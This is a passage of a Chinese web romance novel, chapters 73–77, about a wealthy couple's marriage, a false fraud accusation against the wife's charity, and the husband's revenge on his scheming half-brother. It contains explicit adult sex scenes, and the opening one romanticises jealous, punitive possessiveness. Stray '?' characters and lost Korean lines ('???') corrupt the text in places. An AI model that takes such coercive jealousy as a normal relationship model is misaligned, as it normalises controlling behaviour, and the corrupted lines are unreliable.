呼吸急促而火热,来势汹汹,席卷侵占她仅剩的一丁点理智。 淋浴区花洒还在响,另一边水声的频率很快跟上,实木浴室柜和镜子也摇动起来,激烈得像要散架。 他第一次咬痛她脖子,可又伴着酥和痒,混杂成难以言说的感觉,她颤抖得更厉害,大理石台面也变得更暖更滑。 她坐不稳,几次要掉下边缘,又被他很凶地?抵回去,只能无助地?抱紧他。 “第一次牵手什?么时候?”低沉嗓音带着咬牙切齿的意味。 南惜脑子像被摇匀成浆糊,浑浑噩噩地?搂着他肩膀:“我不知道……” “青梅竹马,两小无猜?”他咬住她耳垂,较劲似的牵着她手,放到两人中间?,让她感受,“那有什?么用?你还不是在我这里……” 片刻,惩罚的呼吸落到她脸上:“他第一次亲你呢?” 他并没有指望她回答,甚至没等她张口,就?堵住,搅得她呼吸困难,呜呜求饶。 “他碰过这儿吗?”手掌盖住雪白柔软,握紧,“不许说谎。” 眼?泪都糊在他肩上,哭音跟着节奏打颤:“没……” 一瞬间?声音戛然而止,咬住他肩,好像灵魂被刺穿。 他没有动,停在温暖最深处:“这里,只有我一个?人到过?” “嗯……” “乖bb。”男人对她温柔许多。 又过一阵,将她转过来,两人一起朝着镜子。 他看着她,用虎口抬起她脸,从镜子里对视,轻声问:“喜欢我吗?” 南惜目光一抖,咬了咬唇,早已红透的脸颊仿佛又更红了些:“……嗯。” 模棱两可的回答他并不满意,罚得她眼?角又沁出一串泪,到她耳边,一字一顿:“南惜,你喜不喜欢我?” 她哭得快要趴到台面上,到处沾满了水,也不知是蒸汽凝结,还是汗水,还是别的,乱七八糟全混在一起。就?像她混乱的大脑拨不出一丝理智,只能凭着本能出声:“喜欢……” “再说一遍。” “我喜欢……” “嗯?” “池靳予,我喜欢你。” …… 一整夜,她休息几次,又被拉起来几次,从浴室回房间?,沙发,地?毯,窗边……最后又回到浴室。 她以为结束了,却是另一段开始…… 直到远处鸡鸣,天光泛白,院内已经有人在洒扫。 南惜睡到午后才醒来。 池靳予听见她迷糊发出的声音,放下书本笑了笑,打电话让人送饭上楼。 她下意识缩进他怀里,实在睁不开眼?睛,又眯了一会儿。 等饭送到,池靳予推来小桌板,摆好,才唤她起身?。 南惜娇声骂骂咧咧,不想起,拉扯间?还是屈服给空荡荡叫嚣的肚子。 想起这人昨晚一整夜都不怜香惜玉,简直像一头拼命占领土地?的野兽,现在的她又酸又软又肿,连坐起来都要人扶。 吃两口,哼一声,别过脸不想理他。 男人意味深长地?瞥向她脖颈上星星点点的惨状,语气云淡风轻:“行,那我叫别人来喂你。” “……” 第74章 第 74 章 叫人来看她这副样子…… 南惜气得直呼他大名:“池靳予!” “我错了。”他不再揶揄她, 表情诚恳地道歉,“昨晚是我嫉妒作祟,失控了些。” 南惜鼻头一酸, 不说话。 “他和你的过去是真实存在的, 我不是圣人,没法做到?视若无睹。你喜欢过他, 忘不了他,我也不可能无动于衷。”他握住她手,眼睫低垂,“还是很抱歉,我没管理好自己的情绪, 从?现在起你和他的事在我这儿翻篇,以后我自己消化?,不会连累你,我……” “笨蛋。”南惜瓮声?瓮气地,用一个吻堵住他话, “我是喜欢过他,但谁说我忘不了他?” 男人目光微颤, 落入她眸底。 “我心?眼很小的,只放得下一个人, 你那?么想和别人住一起,要撑死我是不是?” 他扶着她脖颈, 额头相贴:“昨晚你说喜欢我……” “当然是真的。”南惜捧住他脸,嘴唇, 鼻尖, 额头,脸颊, 最?后一下又?亲回他的唇,“我喜欢你。” “只要你不背叛我,我这辈子都只喜欢你。” “但如?果你敢——” 剩余的话被他温柔吞下: “没有如?果。” 亲着亲着,南惜好像突然岔气,难受地推他。 池靳予皱眉:“怎么了?” 南惜眉头皱得更紧,眼眶一下都红了,嗓音可怜:“肚子疼……” 他着急忙慌打电话,叫徐医生?。 昨晚给池昭明检查身体上完药,徐医生?就住在院内耳房,来得很快。 仔细地为南惜把脉,听诊,触诊后,年过半百的老主任意味深长地瞥了池靳予一眼。然后放下听诊器听筒,安抚的目光看向南惜,带着老父亲般的慈祥:“少?夫人没什么大事,轻微低血糖,放松心?情,好好吃饭休养。” 池靳予送人出?去。 到?走廊关上门,徐医生?低声?开口,带着责备:“你啊,节制一点。” 池靳予难得表情局促,清了声?嗓,一字一句正色道:“我很节制。” “把小姑娘弄到?肚子疼,你也叫节制?”徐医生?无奈又?无语,丝毫不给面子地戳穿他,“三十多?岁的人了,没轻没重。” 池靳予从?小生?病就是徐医生?看,小时候体弱,动不动发?烧,徐医生?没少?彻夜守着他。比起时常不着家的池苍山,更像亲人一般的存在。 池靳予对他也向来尊敬,言听计从?。 他不再狡辩,担忧地问:“那?需要吃药吗?还有什么要注意?” “你最?近别碰她就行。” “……多?久?”男人一副求知若渴的表情。 徐医生?乜他一眼,啼笑皆非。 送走徐医生?,池靳予回屋,关门,看向坐在床头发?呆的老婆,轻叹靠近。 憋一周不能碰她,想想就浑身难受。 但更多?的是愧疚。 “对不起。”他坐到?床沿,轻轻吻在她额头。 南惜蓦地一怔。 “我的错。”男人低下头,鼻息交融地吻她,“我弄疼你了。” 脑袋昏昏地被吻了一会儿,他始终温柔,没有要深入的意味。南惜抱着他腰,靠在他怀里娇嗔:“你以后不许这样。” “不会了。”他牵起她手,牢牢地攥到?掌心?,“你喜欢我,就不会了。” 南惜心?口一阵激荡:“你以前没这么计较。” “爱就会计较,会贪心?。”他略带自嘲地弯着唇,“你喜欢过他,作为爱你的丈夫希望你也喜欢我一些,不合理吗?” 猝不及防又?被表白,南惜耳朵尖发?热,目光躲闪开:“勉强算合理吧……” “天气不错,吃完饭我们去看雪?” “好。” 冰雪覆盖的庭院,两个人走得很慢。 穿过两道垂花门,戴了雪顶帽子的大门石狮,跨下台阶,长长的胡同像一条白玉绸带,延伸到?看不见的尽头。 池靳予问她往哪边走,南惜随手指了一边。 他把她双手握住,举到?唇边呵了口热气,再放回她自己兜里。 另一只他继续握着。 南惜不喜欢戴手套,不舒服,他说他就是她的手套。 南惜生?在这里长在这里,从?小到?大看过无数场雪,更壮观,更盛大的场面不是没有。 龙湖的冬天就像一个童话般的冰雪世界,她曾经喜欢到?不行。 可如?今和他一起,从?交握的手掌感受到?对方的心?跳和脉搏,传递给彼此最?热烈的体温,只有落雪覆盖的寻常小巷,平平无奇的街道,就好想永远走下去。 街边有小孩打雪仗,跑跳乱窜的身影和飞来飞去的雪团挡住了人行道。两人谁也没觉得烦,停在原地。 南惜看得入迷,被小朋友天真欢快的气氛感染,嘴角跟着他们弯起来。 心?念一动,她抬起头看他:“老公。” 池靳予轻轻凝住她目光,手也握紧:“嗯?” “我们什么时候要孩子啊?”她的工作步入正轨,也不太忙,现在生?一个孩子好像也可以。 “你很想要吗?”男人转过身,搂住她,“可我还想和你谈一谈恋爱。” 南惜怔住几秒才找回声音:“……谈恋爱?” “嗯。”他低下来吻她额头,无比温柔地凝视着她,“我爱你,你也喜欢我,难道不该谈一场恋爱?” 好像……是这么回事。 结婚半年多?,迟来的恋爱,她做梦都没想到?会有这天。 “走不动了。”她软声?撒娇,“要男朋友背。” “好。” 他在她面前弯下背脊,一如?过去无数次,他骄傲地俯视这个世界,却?唯独为她服软,低头。 阳光出?现没多?久,又?吝啬地躲回云里,气温一下子降了好多?。 但南惜趴在他背上,一点都不觉得冷。 街边那?群打雪仗的小孩在叫:“快看快看,那?个姐姐还要哥哥背,羞羞脸!” “你不懂,我妈妈说这叫谈恋爱。” …… * 今年是个寒冬,京城的雪比往年更多?,连很多?南方城市都破天荒下了大雪。 新闻里播着A省地震雪崩的消息,消防和军队都连夜出?动,官方公布的遇难和受伤人数一直在攀升。 外面雪太大,南惜没有去公司,在家也忙。 施明琅要求只留下上半年的资助预算,和其余善款的15%备用,剩下全?捐到?灾区。她和部?门员工开着视频会议,一起核算金额。 池靳予也没去公司,在家一起办公,给她做饭,切水果。 她忙得总忘记喝水,要喂到?嘴边才喝一口。 最?近因为大量捐款,好几家慈善机构露脸,被拥护的同时也被推到?风口浪尖。 甚至有一家曝出?打着非营利机构的幌子,实则是创始人偷税漏税的工具。上面雷霆手段,两天内查出?一大批涉案人员,依法逮捕。 关于慈善机构的网络舆论风向变差,另几家多?多?少?少?也被举报。 南惜没想到?竟有人举报到?他们公司。 施明琅只做慈善晚宴和慈善活动,从?不搜刮普通人钱袋子。 “别急,咱们公司账目简单,查不出?什么问题的。如?果需要配合调查,大不了跟着走一趟。”施明琅打电话宽慰她,“放心?吧,你要有事儿,我也跑不了。” 在南惜入职之?前,公司财务是施明琅亲自过手,南惜不怕施明琅做过什么,就怕她事务太忙,有那?么一两次大意疏漏。 她没办法完全?放心?,白天忙了一整天,也不太睡得着。最?近用脑太多?,反而?没怎么运动,晚上思绪活跃,身体又?不累,越躺越失眠。 池靳予见她翻来覆去,自己也睡不着,下床点了根助眠的药香。 然后从?被窝里抱住她,转过去,深吻。 “干嘛……” “运动一下,有助睡眠。” 她起初抗拒,却?很快在他怀里软成一滩。 只做了一半,南惜已经昏昏欲睡。 怕继续下去弄清醒她,池靳予起身去浴室冲了趟凉水。 * 第二天,经侦大队来了几个人,要带南惜回警局配合调查。 为首的挺会说话:“池先生?放心?,只是例行询问,有人举报我们就得查,您夫人要是清白的,很快就能回来。” 池靳予:“好,我跟她说几句。” “那?我们出?去等。” 池靳予没一句废话,直问:“基金会账目当真没问题?” 南惜知道他不是不信她,但她也未必掌控全?部?。 心?事重重地抿了下唇:“我保证经我手的每一笔账,都没问题。” “好。”他低下头,安定的吻落在她发?间,“我也保证,不会让你蒙冤。” 南惜跟警察离开后,池靳予眉头深锁,穿着单衣站在冰雪覆盖的院子里,良久,打了通电话:“帮我查一件事。” 网络舆论铺天盖地,三家慈善机构被调查,其中一家的财总正是去年那?位世纪婚礼的女主角,京城南家千金。 这件事传得沸沸扬扬,如?今的网络环境,一点风吹草动就有人开骂,关于南惜的言论多?难听的都有。 说像她们这种豪门千金,做慈善或许不假,但自己捞点钱也就是顺手的事儿,有钱人哪会那?么善良。 池靳予向来不管网上这些,他信奉真的假不了,假的真不了,不是靠一群搅弄风云的键盘侠就能改变的。就算全?网都是阴谋论,也干扰不了相关部?门的专业判断。 平生?第一次,他用这个从?不发?表私人言论的红V认证号,转发?了一条热度最?高、粉丝量最?多?的营销号微博。 【我夫人配合警方询问,并非被逮捕入狱,谣言从?何而?起我会调查清楚。你不相信世间善意,我相信公道自在人心?。夫人说过,她并不指望所有人都以善意回报,但所有指向她的恶意,我不会坐视不管,所有挡在她面前的障碍,我会一一扫除。三天内,法院传票到?你手上。】 天又?暗了,院内冷风呼啸,雪落满头。 第75章 第 75 章 南惜和施明琅在不同地方接受询问。 手机手表都不在身边, 也?不知道被询问到几点,才让她休息。 房间?只有她一个人,空荡荡的, 比招待所?还要朴素, 除了?一张床垫什么都没有。 也?没有窗户,看不见?外面?天黑还是天亮。 她将就着睡了?一觉, 全是浅眠,光怪陆离的梦一场接一场没停过,醒来却一点不记得。 身体很累,心率很快,脑子晕乎乎的, 比熬通宵还难受。 女警敲门?叫她,说接她的人来了?。 “我没事了?吗?”走廊终于能见?到外面?的微光,好像是早晨。她脚步虚飘,有点恍惚,感觉还在过昨天。 警察笑了?笑:“放心, 都查清楚了?,你和施总都是清白的, 我们正?在找那个匿名?举报的人。” 南惜走到大厅,一抬头, 穿黑色大衣的男人闯入昏暗的视线。 他像是一宿没睡,脸色没有平时的光彩, 下巴生出一层浅浅的胡茬,没有刮。 但看见?她那一瞬, 眼?底忽然亮起了?光, 迎过来,将她重重地搂进怀里。 现?在才七点半, 天没有全亮,但她预感是个晴天。 出停车场的时候,南惜看见?电子屏幕上闪过的停车时间?:5小时18分。 他是半夜就过来了?吗…… 五小时前,池靳予的确已?经到警局。 那会儿整栋大楼都没有人,附近发亮的只有库里南的车灯。 凌晨两点,狗急跳墙的李鹤打电话给他。这个不知悔改的男人,在国庆节制造网络舆论被打脸之后,还没有放弃耍阴谋。 池靳予并不管施明琅的公司如?何,但牵连到南惜,他不会给对?方留活路。 听着李鹤声泪俱下的乞求,他森冷目光融入夜色,面?无表情地等对?方说完,才淡淡接腔:“现?在知道怕了?,伪造证据诬陷我夫人的时候不是挺能耐?” “你的人跑了?,不过他没来得及提交的假证据,明天就会到警方手里。你不如?想想他能跑多远,你给他的好处够不够让他替你顶罪。” “你放心,有必要我会帮他一把的。” 李鹤哭得一把鼻涕一把泪:“我错了?池总,求求你不要告诉警方,你要多少钱?要我全副身家都行,我什么都给你,这件事你知我知天知地知,就这么了?结了?,好不好?” “李总太高?看我了?。”池靳予慢条斯理地搓着指尖,是沾在毛呢袖子上的一根女人的长发,幽香扑鼻,他眼?底现?出一丝柔情,嗓音却依旧冷漠,“我就是一普通公民,配合警方调查,如?实交代我知道的一切,是我作为公民应尽的义务。我可?没李总那胆量,无视律法,瞒天过海。” 他勾了?下唇,冰冷笑意对?李鹤来说,就像地狱的催命符:“希望下次还能接到李总电话。” 而不是在监狱里见?到你。 说完,他毫不犹豫挂断,顺带拉黑那个号码。 车子沿着法国梧桐夹道的清晨公路,开?向天光大亮的方向。 池靳予侧头看了?眼?,女孩靠在副驾驶睡着了?,满脸安然。 他轻轻握住她手。 * 进警局这一遭,并没有把她的工作热情浇灭一点。 灾区等着用钱,也?由不得她调整情绪,回家立马继续核账,转账,公司财务和银行经理两头联系,电话没停过。 微信消息除了?置顶的工作群,她全都没看。 慈善机构接连暴雷好几家,想要捐款的公众都很迷茫。 官方机构发布澄清声明后,许多跟风怀疑过的,和保持观望的网友都到南惜的视频号和微博下留言,问他们基金会能不能接受民众捐款。 这事施明琅没干过,她向来只薅有钱人。 两人打电话商量对?策。 考虑到现?在情况特殊,临时开?放捐款通道的确能帮到灾区,施明琅决定尝试。 南惜叫人连夜修改财务框架,她也?不能睡,得盯着。 池靳予一点半来书房,给她送水果和咖啡。 “技术部那边怎么样了??”他问。 网页入口?,各个平台的捐款通道都得临时做,还得对?接银行,技术部也?在连夜加班。 “不知道啊。”南惜揉揉太阳穴,“我问问。” 公司的系统架构向来简单,以前技术部也?没接过这么突然的活儿。 南惜听着听着开?始皱眉,那些专业名?词她不懂,但能从对?方语气听出来,进度不太理想。 池靳予把她手机接过去,按下免提:“什么情况?跟我说。” 他搬了把椅子坐到她旁边,打开?笔记本电脑。 南惜小声:“你不去睡觉吗?” “你不在,我也睡不着。”池靳予输入密码,干干净净的电脑界面?,一如?他望过来的澄澈目光,“南总,方便给一下后台权限?” 她眼?眶热了?热:“好。” 南惜知道这方面?他是专家,让他顺便看一眼?,比那帮小伙子绞尽脑汁都更有效率。但始终不想让他插手,也?不愿意因为自己的事,害他也?没办法休息。 “这不是你一个人的事。”他一目十行地浏览系统源代码,一边宽慰她,“就当我这个满身铜臭的商人良心发现?,为灾区出一份力。” 南惜“噗嗤”一笑,没拆穿他匿名?捐五个亿的事。 他忘了?,自己能看到他银行动账。 他所?有账户的消费记录和余额早就同步给她,全副身家在她这儿都是透明的。 深夜,窗外依旧大雪纷飞,暖气充盈的书房内持续着键盘和鼠标交错的响声,和男人沉着冷静,与电话那头的员工交流的声音。 南惜也?不停打着电话,看电脑看到眼?睛发晕,累了?就靠在他肩上。 虽然疲惫又忙碌,却很安心。 早上五点,新的捐款通道上线,南惜也?终于回房间?,倒头就睡。 池靳予晚上从公司回来,没见?到她人,去二楼主卧看见?被子里那团,不禁皱了?皱眉。 客厅洗好的水果没吃,以她的性格也?不该这时候还在睡觉。 他走过去,有预感似的探向额头,烫得他心口?一震。 唤了?两声,她已?经烧得不省人事,池靳予匆匆给她裹了?件羽绒服,送去医院。 “患者连日劳累,身体超负荷运转,休息不足,好好睡几天,补充营养就没事了?。”医生俯身调了?一下输液管滴速,嘱咐池靳予,“你要是不放心就留院观察两天,记得饮食清淡,保证睡眠。” “好。”他点点头,“那 留院观察。” 同样的嘱咐经他添油加醋传达到南惜耳朵里,就变成了?:“医生说你身体特别虚弱,要配合治疗,最近每天工作时间?不要超过八小时,十一点前必须睡觉,我会监督你。” 他愿意给她八小时,已?经算格外开?恩。 普通人每天也?要工作八小时,更何况她是个病人。 看她如?此在意这份工作,他没有剥夺她的权利。但之前那种?动不动熬夜到两三点甚至通宵,接连几天不睡一个整觉的玩命法,他不可?能再纵容。 现?在舆论危机过去,灾区捐款也?步入正?轨,她应该好好休息了?。 否则他真会去找施明琅算账,自己活蹦乱跳的老婆交给她,怎么就能操劳到进医院。 得知她生病的祁书艾打视频问候。 南惜把手机转了?一圈,给她看自己的豪华VIP病房。 “你老公真行,大张旗鼓的不怕吓死人。”一般有点小毛病都是叫医生去家里,这得慌成什么样,直接送医院,还戴上小手环住下了?。 不知道还以为她得了?什么大病。 祁书艾询问好久,确定她真没大病才放下心来,给她讲八卦:“你老公火了?你知道不?” 南惜一脸懵:“哈?” “你没看微博吗?”祁书艾瞪大眼?,“我发你微信你也?没回,合着你看都没看?” “忙死了?,哪有时间?看。”早上倒头就睡,又迷迷糊糊开?始发烧,直到刚刚才醒过来。 “真是辛苦了?。”祁书艾叹一声,“不过也?没有白辛苦,现?在网络反响特别好,都放心捐款给你们。” 顿了?顿,又说:“还有你老公,你不知道他为了?你在微博怒怼营销号吧?” 池靳予在浴室洗澡,她下意识地隔墙看过去,怔怔:“他……怼营销号?” 南惜看过他微博,很少发动态,只有新品上线才会冒泡宣传,偶尔评论挑几个真诚的铁粉提供技术答疑。 他从不评价,参与任何网络纷争,再高?的热度也?不蹭。网友都猜测他账号是公司运营,虽然挂着个人认证,却一点不像个人。 直到这次,他公开?维护自己的老婆,当天晚上就炸上热搜。 关于他的热搜没人敢随便撤,电话都打到公司公关部,他直接回应官方:不用撤。 就那么挂着。 让所?有人都知道,他可?以漠不关心这个世界,但唯一深爱的女人,他会不顾一切护到底。 南惜看到那条微博,差一点热泪盈眶。 洗完澡的男人穿着睡袍从浴室出来,捕捉到她微红的眼?,蹙了?蹙眉,走近。 双手撑到床边,沐浴露的香气包裹住她,温柔开?口?:“怎么了??” “没什么。”南惜咧嘴笑开?了?,捧住他脸,在他唇瓣上虔诚地落吻。 近在咫尺地望进他眼?底,气声绵绵:“谢谢老公。” 谢谢他那么坚定地站在她身边,排除万难护着她。 谢谢他把她看得比这个世界都重要。 谢谢那天清晨的阳光,让她走出公安局狭窄的通道,第一眼?就看见?他。 总是能让她安心,在迷茫中找到希望。从不指责她批评她,试图教育她,但永远会为她兜底。 “谢什么?”同样温热的吻还给她,轻柔,不带一丝情.欲。 南惜没有回答,鼻音透着从未有过的认真:“谢谢你让我爱上你。” 让她发现?,原来爱上一个人,是这么坦然又幸福的事。 第76章 第 76 章 这?几天在医院, 南惜每天的?工作时间被稳稳卡在八小时,时间一到,池靳予准会收她电脑和手机。 离今天的?八小时还剩一小时, 南惜和施明?琅开视频会。 池靳予就?在旁边盯了她整整一小时, 数着秒,准时出现在屏幕中:“施总, 我老?婆该休息了。” “好好好,驸马爷。”施明?琅调侃他,“您可真是贴身又贴心。” 这?话池靳予爱听:“多谢夸奖。” “嘚瑟。”施明?琅挂了视频。 南惜把电脑合上,靠在椅背上噘嘴:“我什么时候能出院?” “住这?儿不好吗?”男人笑着问她。 池靳予觉得挺好的?。 医院套房虽然没家?里别墅大,但也够用, 厨房用具足够他做饭,周围环境雅致,空气清新,一开窗就?能闻到自然的?植物香气。 最?重要的?是晚上就?算南惜想熬会儿,护士也会敲门?来提醒, 该睡觉了。 除非在门?口挂上请勿打扰。 她偶尔不想听他话,撒娇闹一闹, 但总会听医生护士的?话。 所以每天都?有准时入眠,身体状态好, 精神也充沛。 看着女孩健康红润的?脸颊,清澈如水的?眸, 和宽松V领睡裙下依稀的?起伏,为她调养身体而吃素许多天的?男人眼底浓郁了些。 当他微微俯身, 掌心撑在座椅扶手上, 南惜突然察觉到什么。 抬头,唇已经被封住。 呼吸不再压制, 肆意传达给她滚烫的?诉求。 南惜慌乱间攥他领口:“一会儿有人来……” “我挂上免打扰了。”双臂轻松一捞,将她从椅子上抱起来。 久违的?亲密,两人都?像竭泽的?鱼终于寻到温暖的?汪洋。 南惜紧咬的?唇被他柔软安抚:“放松,这?儿隔音很好。” 没多会,空气变得温润潮湿,她好像缺氧,呼吸不过来。池靳予一只手托着她,另一只手探到墙边打开换气扇。 终于有更大声响遮住她难耐的?呜咽,黏腻的?摩擦,淋浴间玻璃越来越快的?震动。 结束,冲澡,池靳予本想放过她,女孩柔软的?双臂又搭上来,和数不清的?勾人发丝一样缠住他,困紧他。 男人将她转过身,按在墙面,脖颈绕过去亲:“今晚这?么主动?” “想你了……啊。”南惜咬着唇轻哼了声,目光又变得颤颤巍巍。 灵魂相接,他闭上眼埋入她脖颈:“那由?不得你说停了。” 他原本就?没尽兴。 浴室花洒淋了三个多小时。最?后一遍,他才抱着软成水的?南惜回到病房。 躺到被窝里,抱着她,就?着昏暗惨白的?月光亲她脸:“没能耐还招我,就?会哭。” 南惜哑着嗓子娇嗔:“谁说我没能耐?” 体力虽然比不上他,但也不算太差劲,一次还是绰绰有余的?。 谁好人一开始就?要连着那么多次?上了贼船都?下不来。 “是,会哭也是能耐。”池靳予宠溺地把她摁在胸前?,“没人能跟你比。” 南惜仰头,忿忿地咬他下巴:“别小看我。” 她现在进步可多了,也算有点技巧在身上,只不过还待继续摸索。 “哪儿敢小看。”他牵起被子,把两人一块儿蒙住,黑暗中寻她衣摆,“我老?婆厉害着呢,还会叫日?语。” “……你放手。” “不是还会韩语吗?让老?公听听。” 一团被子扭曲成各种形状,南惜做梦都?没想到,她为了看动漫看韩剧学的?外国话,如今就?只用得上那几句—— “やめて.”① “気持ちいい.”② “???.”③ 最?后他贴在她耳边,用急促而压抑的?气声重复一遍:“???.”③ * 继公司同事和父母亲戚来医院探望几波之?后,南惜终于准备出院了。 再住下去,估计连她得绝症的?荒唐谣言都?要传开。 祁书艾可怜她嘴馋,给她带了卤味,池靳予装好盘给姐妹俩端来,还送上亲手煮的?咖啡。 “结婚真的?这?么神奇吗?”祁书艾捧着香味浓郁的?手冲拿铁,若有所思地盯着料理台边切水果的?男人,“霸总变贤夫,想都?不敢想。” “什么霸总。”池靳予笑着把橙子切了朵花,“我本来就?是贤夫。” 祁书艾憋不住笑了,捂着嘴小声对南惜说:“他还挺得意。” 南惜:“他一直没脸没皮。” “也只有你这?么觉得了。”水龙头声音盖过了说话声,池靳予在那边听不到,祁书艾肆无?忌惮地蛐蛐,“真得庆幸池昭明?出轨,不然你哪能嫁给这么完美的?男人?我简直不敢想你要是嫁给池昭明,日?子得咋过。” “不过池昭明?年轻倒是,也不知道?男人三十岁,状态还能好几年……” 水龙头关?掉,祁书艾的?声音戛然而止。 南惜给祁书艾递了个眼神,求放过。和池靳予在同一屋檐下提那个名字,怕是嫌命长?。 祁书艾干的?好事他可不会向祁书艾讨,只会通通算在她头上。 她现在身体好了,也该夹起尾巴做人了。 * 第二天南惜出院,穿了件高领毛衣,遮住满脖子惨不忍睹的小星星。 她怀疑他昨晚听到祁书艾那些话了,不,他一定听到了。 可现在他不会再那样对她,而是像一只小狗,悄不做声,勤勤恳恳地给自己圈地。 最?后一遍见医生,池靳予记了一大堆注意事项。她平时要多吃什么,少吃什么,打算回去给崔姨调整食谱。 这?次住院南惜才知道?,原来她对菠萝和荸荠过敏,怪不得每次吃菠萝嘴巴都?不舒服,吃荸荠十次有八次要胃疼。 于是菠萝和荸荠,被池靳予彻底拉入她的?水果黑名单。 这?人甚至给她约了个专家?,改天来仔细查查她还对哪些东西过敏。 今天正好是个晴天,临近中午太阳很大,南惜没抹防晒霜,也没有帽子遮阳伞。池靳予走在前?,让她低头躲在他身后。 他慢慢调整到令她最?舒适的?步速,感受着那只软软的?,顶着他后背的?脑袋,嘴角弯得格外温柔。 突然,视线捕捉到一串熟悉的?车牌号,他蹙眉,将南惜拉到身前?抱住,提着她的?腰,窜到一辆房车后。 南惜吓一跳:“你干嘛呀……” 唇蓦地被他堵住,亲了亲。 趁她发呆,池靳予搂紧她,视线跟住那两道?背影。 直到目标消失在急诊入口,他肩膀也被捶了一下。柔软的?拳头轻飘飘的?力道?,和昨晚挠他后背的?指甲差不多。 面对女孩羞恼控诉的?眼神,他心念涌动,低头又亲:“不干嘛。” “咳咳。”房车窗户里探出个脑袋,“两位,这?里不是无?人区。” 顺带“好心”提醒:“停车场有监控,注意尺度。” 南惜羞红了脸。 可池靳予这?个不要脸的?,竟然还和人说谢谢。 她连头顶烈日?都?顾不上,撒丫子跑得飞快。 池靳予不着急,一边在后面看着她跑,一边拨了通电话。 “帮我查,刚才池昭明?陪着去医院的?男人是谁。” “还有,谁准他擅自回国的??再有下次,叫肯尼亚负责人亲口跟我解释。” 南惜回过头叫:“池靳予,你怎么走这?么慢?” 平时亲亲热热叫老?公,但不满的?时候她依旧会叫大名。 女孩瓷白的?脸,头发被阳光染成浅金色,像童话里翩翩起舞的?精灵。无?可挑剔的?漂亮五官,连噘嘴抱怨的?样子都?分外灵动。 他走过去抱住她,低下头,嗓音清澈柔缓:“慢点不好吗?” 南惜目光微微一颤。 他牵起她的?手,放到唇边:“这?一辈子,我都?想和你慢慢走。” 步子太快,怕一不留神就?走完了。 这?样的?想法放在以前?何其荒唐。 时间流逝是客观的?,不以人的?意志为转移。 他是坚定的?唯物主义者,可现在也不禁荒唐地觉得,只要他慢慢走,就?能和她相伴的?时间更久一些。 这?一辈子,能过得长?一些。 * 出院后,南惜小日?子继续滋润。 白天上班,晚上吃饭散步,酣畅淋漓地做一场,或者两场,然后睡觉。 只要他不那么索求无?度,每天都?要似乎也不错。 哪天没有,她反倒会不习惯。 出差期间打的?电话,从一开始的?正经问候,变得越来越不可言说。 第一次这?样,南惜有点害羞,把手机放到旁边,摄像头对着天花板。 耳机里,是男人格外低沉的?嗓音:“找到了吗?” “……”南惜咬唇,倔强得不出声。 手指套冰凉润滑,也驱不散阵阵热意。 他竟然在她行李箱放这?种东西,还有那只熟悉的?粉色椭圆球。 可她还是不得要领,找不到位置。明?明?对他来说那么简单,她好像再努力也做不到。 最?后只能望着屏幕里仰靠在沙发上,肆意对她袒露一切的?男人,看着他游刃有余的?模样,听着令她耳朵发烫的?沉重呼吸声,侧身曲着腿,获取一阵短暂的?,不够畅快的?空白。 那几秒格外想他。 第二天,远在京城的?男人突然出现在她下榻的?酒店。 * 南惜从三亚回京那天,家?门?口的?信报箱露出信封一角。 她取出来带进了门?。 信封里十几张照片,全都?是一对男女。牵手,拥抱,亲密,有在街头,也有在被子里。 男人手腕戴着一圈黑曜石手串,无?名指上是全世?界独一无?二的?定制婚戒。 南惜不是闷葫芦性子,吃完晚饭,直接把照片甩到他面前?。 男人疑惑地看了一半,没眼再看下去。 头很大。 一边想如何向她解释这?上面不是自己,一边斟酌哄她的?话。 这?姑娘如今工作能力见长?,脾气也见长?,以前?是娇纵,现在不仅娇纵还很多道?理,有时他也辩不过,越发不好哄。 平日?泰山崩于前?而面不改色的?人,破天荒这?副有苦说不出的?表情。 南惜故意黑脸看戏,直到终于憋不住笑,在桌下踢了他一脚。 “反省。”她说着,脚一边踹一边爬高,“认错。” “我错了。”池靳予深深望着她,从善如流。 南惜仰头娇纵地哼一声:“哪错了?” “怪我没在微博发几张肌肉照。”他握住她莹白细腻的?脚趾,贴住自己,“让他们连找替身,都?找得这?么差劲。” 第77章 第 77 章 南惜“噗嗤”一笑:“知道?是谁要搞你?吗?” 她的脚用了点?力, 轻轻踹在那儿,还用脚趾头隔着西裤磨了磨。男人目光顿沉:“除了你?,还有谁能搞我?” 南惜发现脚下触感的变化, 连忙把脚收回来, 喝了口凉白开?:“真?不禁逗。” 池靳予望着她笑了笑,起?身:“晚上回来再?找你?算账。” “你?去哪儿?” “办点?儿事?情。”他走过来摸摸她脑袋, “天冷,一个?人就别出门了,洗干净等我。” 南惜脸一热,笑着捏拳头捶他:“呸!” 拳头被?他握住,拉到唇边亲了一口。 那叠照片被?他带走了。 车上, 给余沭阳打了通电话:“东西都备好了?” “是,老板,我全部拿到手?了。” “人呢?” “在老宅。” 库里南像披了身铠甲,闯入无边夜色。 * 池家老宅,田蕙云正抱着儿子哭哭啼啼, 在池苍山面前卖惨:“老公?啊,靳予这次难得可怜他弟弟, 让昭明回家住几天,你?要不要帮忙说点?儿好话, 让他把昭明调回来?” “这么久他也该消气了,到底是一家人, 抬头不见低头见的。昭明这次吃到苦头,以后一定不会再?……” “以后?”沉冷嗓音伴着快而稳的脚步声, 打断田蕙云的声音, “不如说说以前的事?儿,再?看看你?还有没有以后?” 田蕙云惊惧地瞪大眼睛, 还没回过神,一叠照片被?甩到池昭明脸上,散了满地。 那些不堪入目的画面,都像在嘲笑他的狼狈。 “还不想?收手?是吗?”池靳予居高临下,面无表情看着他。 “慌了?”池昭明冷笑,“你?们的感情不是无坚不摧吗?不是当着所有人演恩爱夫妻吗?我使这么点?儿小伎俩,你?就恼羞成怒了?” “幼稚。” “幼稚怎么了?我就看不惯你?那副高高在上的样,凭什么?占着爸的公?司不放,让我在你?手?底下连条狗都不如,还要抢走我的女人?我不会让你?事?事?如意的,我就要给你?添堵!” “你?说凭什么?”池靳予伸手?,从余沭阳手?中拿过一叠文件,“就凭你?和我爸,99.99%的亲缘关系排除率,哦,对了,最近我还认识个?新朋友,J省人,姓章,这是你?和他的亲子鉴定。” 池昭明僵在原地,没有接,池靳予直接从他头顶扔下去,和那沓照片一样,纷纷扬扬,埋葬他最后的骄傲。 落在正前方那张纸,清晰写着99.99%的数字,池昭明和章卫东的父子关系。 “不是的……”池昭明见了鬼一般的往后退,“骗子,这是假的,是你?伪造的……” 身边散落的纸张被?他疯狂撕扯。 田蕙云早已失魂落魄地瘫倒在地,池靳予冷淡地瞥了一眼,又?从余沭阳手?里拿了一份。 “没关系,你?想?撕多少,我都有。”他回头递给池苍山,“这是原件,如果您信不过我,可以带他再?做一次。” 